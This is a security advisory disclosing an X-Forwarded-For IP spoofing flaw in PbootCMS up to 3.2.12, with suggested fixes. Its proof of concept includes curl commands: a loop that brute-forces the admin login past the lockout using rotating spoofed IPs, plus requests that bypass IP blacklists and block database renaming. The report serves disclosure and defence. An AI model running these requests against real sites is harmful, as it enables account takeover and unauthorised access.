PbootCMS 3.2.12 get_user_ip IP Address Spoofing
Title: IP Address Spoofing Vulnerability in PbootCMS ≤ 3.2.12#
BUG_Author: [your_username]
Affected Version: PbootCMS ≤ 3.2.12
Vendor: PbootCMS Official
Software: PbootCMS GitHub Repository
Vulnerability Files:
core/function/handle.php(get_user_ip function)apps/admin/controller/IndexController.php(login lockout mechanism)apps/common/HomeController.php(IP blacklist/whitelist)
Description:#
An IP address spoofing vulnerability exists in PbootCMS <= 3.2.12. The get_user_ip() function unconditionally trusts the X-Forwarded-For HTTP header without validating whether the request originates from a trusted proxy. This allows remote attackers to bypass IP-based security controls including login failure lockout, IP blacklists, and IP whitelists.
Vulnerability Analysis:#
Root Cause:
In file
core/function/handle.php, lines 130-146, theget_user_ip()function prioritizes theX-Forwarded-Forheader over the actual client IP:function get_user_ip(): string
{
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$cip = $_SERVER['HTTP_X_FORWARDED_FOR']; // Attacker-controlled
} elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
$cip = $_SERVER['HTTP_CLIENT_IP']; // Attacker-controlled
} else {
$cip = $_SERVER['REMOTE_ADDR']; // Actual client IP
}
if ($cip == '::1') {
$cip = '127.0.0.1';
}
if (! preg_match('/^[0-9\.]+$/', $cip)) {
$cip = '0.0.0.0';
}
return htmlspecialchars($cip);
}The function only validates the IP format but does not verify whether the
X-Forwarded-Forheader comes from a trusted reverse proxy.Affected Security Controls:
a) Admin Login Lockout Bypass
In
apps/admin/controller/IndexController.php, lines 337-383, the login lockout mechanism usesget_user_ip()to track failed login attempts:private function checkLoginBlack()
{
$ip_black = RUN_PATH . '/data/' . md5('login_black') . '.php';
if (file_exists($ip_black)) {
$data = require $ip_black;
$user_ip = get_user_ip(); // Spoofable IP
$lock_time = $this->config('lock_time') ?: 900;
$lock_count = $this->config('lock_count') ?: 5;
if (isset($data[$user_ip]) && $data[$user_ip]['count'] >= $lock_count && ...) {
return $lock_time - (time() - $data[$user_ip]['time']);
}
}
return false;
}Default configuration: 5 failed attempts trigger a 15-minute lockout. By spoofing different IPs, attackers can make unlimited login attempts.
b) IP Blacklist/Whitelist Bypass
In
apps/common/HomeController.php, lines 50-72:$user_ip = get_user_ip();
// IP blacklist check
$ip_deny = Config::get('ip_deny', true);
foreach ($ip_deny as $key => $value) {
if (network_match($user_ip, $value)) {
error('Your IP(' . $user_ip . ') is not allowed!');
}
}Attackers can bypass IP-based access controls by spoofing allowed IPs.
c) Database Auto-Rename Prevention
In
apps/admin/controller/IndexController.php, line 57:if (get_user_ip() != '127.0.0.1' && $this->modDB()) {
// Auto-rename database
}By spoofing
127.0.0.1, attackers can prevent the database from being automatically renamed, keeping it accessible at the default predictable path.
Proof of Concept:#
Prerequisites:
Target server is directly accessible (not behind a properly configured reverse proxy)
OR reverse proxy does not sanitize X-Forwarded-For header
Step 1: Verify IP spoofing works
Send a request with a spoofed IP and observe the server's behavior:
# Normal request (uses real IP)
curl -v "http://<target>/admin.php"
# Request with spoofed IP
curl -v -H "X-Forwarded-For: 1.2.3.4" "http://<target>/admin.php"
Step 2: Bypass login lockout with unlimited password attempts
Normal brute force (gets locked after 5 attempts):
for i in {1..10}; do
curl -X POST "http://<target>/admin.php/Index/login" \
-d "username=admin&password=wrong$i&formcheck=<token>"
echo "Attempt $i"
done
# Result: Locked after attempt 5
IP spoofing brute force (never gets locked):
for i in {1..1000}; do
curl -X POST "http://<target>/admin.php/Index/login" \
-H "X-Forwarded-For: 10.0.$((i/256)).$((i%256))" \
-d "username=admin&password=wrong$i&formcheck=<token>"
echo "Attempt $i with IP 10.0.$((i/256)).$((i%256))"
done
# Result: All 1000 attempts succeed, no lockout triggered
Step 3: Bypass IP blacklist
If attacker's real IP (e.g., 192.168.1.100) is blacklisted:
# Blocked request
curl "http://<target>/"
# Response: "Your IP (192.168.1.100) is not allowed!"
# Bypassed request with spoofed IP
curl -H "X-Forwarded-For: 8.8.8.8" "http://<target>/"
# Response: 200 OK (access granted)
Step 4: Prevent database auto-rename
Spoof localhost IP to prevent automatic database renaming:
curl -H "X-Forwarded-For: 127.0.0.1" "http://<target>/admin.php"
This keeps the database file accessible at /data/pbootcms.db.
Impact:#
| Attack Scenario | Impact |
|---|---|
| Login Lockout Bypass | Enables unlimited brute force attacks against admin accounts |
| IP Blacklist Bypass | Allows banned attackers to continue accessing the site |
| IP Whitelist Bypass | Allows unauthorized access to restricted areas |
| Database Rename Prevention | Keeps SQLite database at predictable path for disclosure |
| Audit Log Poisoning | All IP-based logs contain attacker-controlled values |
Combined with a weak or default admin password, this vulnerability significantly increases the risk of complete system compromise.
Exploitation Conditions:#
| Deployment Scenario | Exploitable | Notes |
|---|---|---|
| Direct deployment (no proxy) | Yes | Fully exploitable |
| Behind Nginx (misconfigured) | Yes | If proxy_set_header not configured |
| Behind Nginx (properly configured) | No | X-Forwarded-For overwritten by proxy |
| Behind CDN (Cloudflare, etc.) | No | CDN overwrites X-Forwarded-For |
Tested Environment:#
| Component | Version |
|---|---|
| PbootCMS | 3.2.12 |
| PHP | 7.4.33 |
| Web Server | Apache 2.4.54 |
| Operating System | Debian (Docker) |
Suggested Fix:#
Option 1: Add trusted proxy configuration
Modify core/function/handle.php:
function get_user_ip(): string
{
// Define trusted proxy IPs (configure based on your environment)
$trusted_proxies = array('127.0.0.1', '10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16');
$remote_addr = $_SERVER['REMOTE_ADDR'];
// Only trust X-Forwarded-For if request comes from trusted proxy
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && is_trusted_proxy($remote_addr, $trusted_proxies)) {
$ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$cip = trim($ips[0]); // Get the original client IP
} else {
$cip = $remote_addr;
}
if ($cip == '::1') {
$cip = '127.0.0.1';
}
if (! preg_match('/^[0-9\.]+$/', $cip)) {
$cip = '0.0.0.0';
}
return htmlspecialchars($cip);
}
function is_trusted_proxy($ip, $trusted_proxies) {
foreach ($trusted_proxies as $proxy) {
if (strpos($proxy, '/') !== false) {
if (ip_in_range($ip, $proxy)) return true;
} else {
if ($ip === $proxy) return true;
}
}
return false;
}
Option 2: Add configuration option
Add a configuration option in config/config.php to enable/disable proxy trust:
'trust_proxy' => false, // Set to true only if behind a trusted reverse proxy
'trusted_proxy_ips' => array('127.0.0.1'),
Option 3: Use REMOTE_ADDR for security-critical functions
For security-critical functions like login lockout, always use $_SERVER['REMOTE_ADDR'] instead of the spoofable get_user_ip().
Timeline:#
2025-12-19: Vulnerability discovered during security audit
2025-12-19: Proof of concept developed and verified
2025-12-19: Report submitted to VulDB
References:#
PbootCMS Official Website: https://www.pbootcms.com/
PbootCMS Gitee Repository: https://gitee.com/hnaoyun/PbootCMS
CWE-290: Authentication Bypass by Spoofing
CWE-348: Use of Less Trusted Source
OWASP: https://owasp.org/www-community/attacks/Web_Parameter_Tampering